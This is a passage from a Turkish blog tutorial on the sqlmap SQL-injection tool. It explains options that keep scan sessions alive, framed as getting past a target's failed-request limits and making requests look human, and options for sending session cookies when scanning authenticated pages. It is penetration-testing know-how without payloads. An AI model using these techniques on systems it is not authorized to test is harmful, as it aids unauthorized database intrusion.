Bazen web uygulamaları mantıksal davranışı, belirli sayıda başarısız istek gerçekleştirilirse oturumu yok eder. Bu sorun sqlmap’in algılama aşamasında veya kör SQL enjeksiyon (blind SQLi) türlerinden birini test ettiği sırada çok sayıda deneme yapmasından dolayı ortaya çıkabilir. Hedef tarafından belirlenen bu sınırlamayı atlamak için tarama oturumunun web uygulaması nazarında yeniden yetkilenebilmesi için aşağıdaki seçenekleri kullanabilirsiniz. Seçeneklerin amacı tarama oturumu sırasında web uygulamasının olağan (güvenli) sayfalarından birine istek yaparak geçerli bir oturum/cookie sepeti ile güncellenmektir. Başka bir ifade ile; yapılan isteklerin insan bir kullanıcı tarafından geldiği yönünden yanıltmaktır.

–safe-url : Test sırasında ziyaret edilecek güvenli URL adresi.
–safe-post : Belirli bir güvenli URL adresine gönderilecek POST verisi oturumun yeninden oluşturulmasını sağlayabilir.
–safe-req : Test sırasında ziyaret edilecek URL’lerin bir dosyadan okunmasını sağlar.
–safe-freq : Belirli bir güvenli konuma yapılan iki ziyaret arasında yapılacak test sayısı.

HTTP cookie başlığı

Web uygulamasının kimlik doğrulaması gerektiren bir bölümünü taramak gerektiğinde sqlmap istekleriyle birlikte tanımlama bilgilerini de gönderme gereksinimini ortaya çıkar. Örneğin bir sitede oturum açtıktan sonra sitenin farklı sayfalarına erişiminiz olur. Tanımlama bilgilerini elde etmek için tarayıcının dahili networking sekmesini kullanabilir veya bir proxy tanımlayarak cookie verisini elde edebilirsiniz. Elde ettiğiniz bu değeri –cookie seçeneği ile sqlmap’e verebilirsiniz. Birden fazla cookie değeri varsa aralarına ‘;’ (noktalı virgül) koyarak onları birbirinden ayırın. Eğer değişken/değer çiftlerini birbirinden ayırmak için ‘;’ den farklı bir karakter kullanılıyorsa bu ayracı (delimiter) –cookie-del seçeneği ile belirtebililrsiniz. İletişim sırasında herhangi bir zamanda web uygulaması Set-Cookie başlıklarıyla yanıt verirse, sqlmap yeni değişken/değer çiftlerini diğer tüm HTTP isteklerinde Cookie başlığı olarak otomatik olarak kullanır. sqlmap ayrıca SQL enjeksiyonu için bu değerleri otomatik olarak test edecektir. Bu, –drop-set-cookie – sqlmap anahtarı ile önlenebilir, yani gelen Set-Cookie üstbilgilerini yok sayar.

Diğer taraftan, –cookie seçeneğiyle bir HTTP Cookie başlığı sağlarsanız ve hedef URL herhangi bir zamanda bir HTTP Set-Cookie başlığı gönderirse, sqlmap size takip eden HTTP istekleri için hangi tanımlama bilgilerinin kullanılacağını soracaktır. –live-cookies seçeneği güncel değerlerin yüklenmesi için kullanılacak bir çerez dosyası sağlamak için kullanılabilir. Bu, HTTP Cookie başlığı için en son değeri almak için her istekten önce aynı dosyanın okunacağı anlamına gelir. Ayrıca, Netscape/wget biçimli tanımlama bilgilerini içeren özel bir dosya sağlamak için kullanılabilecek –load-cookies seçeneği de vardır. –level 2 veya üzerine ayarlanmışsa, HTTP Cookie başlığının da SQL enjeksiyonuna karşı test edildiğini unutmayın.

–cookie : Test edilecek web uygulaması istemci tarafında depolanan çerezleri kullanıyor olabilir. Çerezler web uygulamasının tercihine bağlı olarak birçok türde veriyi tutuyor olabilir. Özellikle oturum açmayı gerektiren web uygulamalarında ihtiyaç duyulan oturum bilgisi önceden öğrenilerek sqlmap’in oturum içi tarama yapması sağlanabilir. Örneğin: –cookie=’PHPSESSIONID=ajksdgadhakjsdhak’ Cookie değerleri –level=2 ve üzerinde test edilir.

–cookie-del : Cookie degisken/değer çiftlerini birbirinden ayırmak için kullanılacak ayraç karakterini tanımlar.

–live-cookies : güncel değerlerin yüklenmesi için kullanılacak bir çerez dosyası sağlamak için kullanılabilir. Bu, HTTP Cookie başlığı için en son değeri almak için her istekten önce aynı dosyanın okunacağı anlamına gelir.

–load-cookies : Netscape/wget biçimli tanımlama bilgilerini içeren özel bir dosya sağlamak için kullanılır.

–drop-set-cookie : İletişim sırasında herhangi bir zamanda web uygulaması Set-Cookie başlıklarıyla yanıt verirse, sqlmap diğer tüm HTTP isteklerinde set edilen yeni Cookie değerlerini otomatik olarak kullanır. sqlmap ayrıca SQL enjeksiyonu için bu değerleri otomatik olarak test edecektir. Bu, –drop-set-cookie – sqlmap anahtarını sağlayarak önlenebilir, gelen herhangi bir Set-Cookie başlığını yok sayar.

Kaynaklar:

SQLMap özellikleri: https://github.com/sqlmapproject/sqlmap/wiki/Features

SQLMap kullanımı: https://github.com/sqlmapproject/sqlmap/wiki/Usage

SQLMap chearsheet: https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap

Invicti SQLMap kullanımı: https://www.netsparker.com.tr/blog/web-guvenligi/ileri-seviye-sqlmap-kullanimi/

Önemli sqlmap parametreleri: https://resources.infosecinstitute.com/topic/important-sqlmap-commands/

SQLMap YouTube kanalı: https://www.youtube.com/user/inquisb/videos

WebSec SQL Injection Knowledge Base: https://www.websec.ca/kb/sql_injection

Yazar: Özgür Koca

Yazar - Tankado.com

“SQLMap ile SQLi (SQL Injection) aramak” için 2 yorum

Bir cevap yazın

E-posta hesabınız yayımlanmayacak.

This site uses Akismet to reduce spam. Learn how your comment data is processed.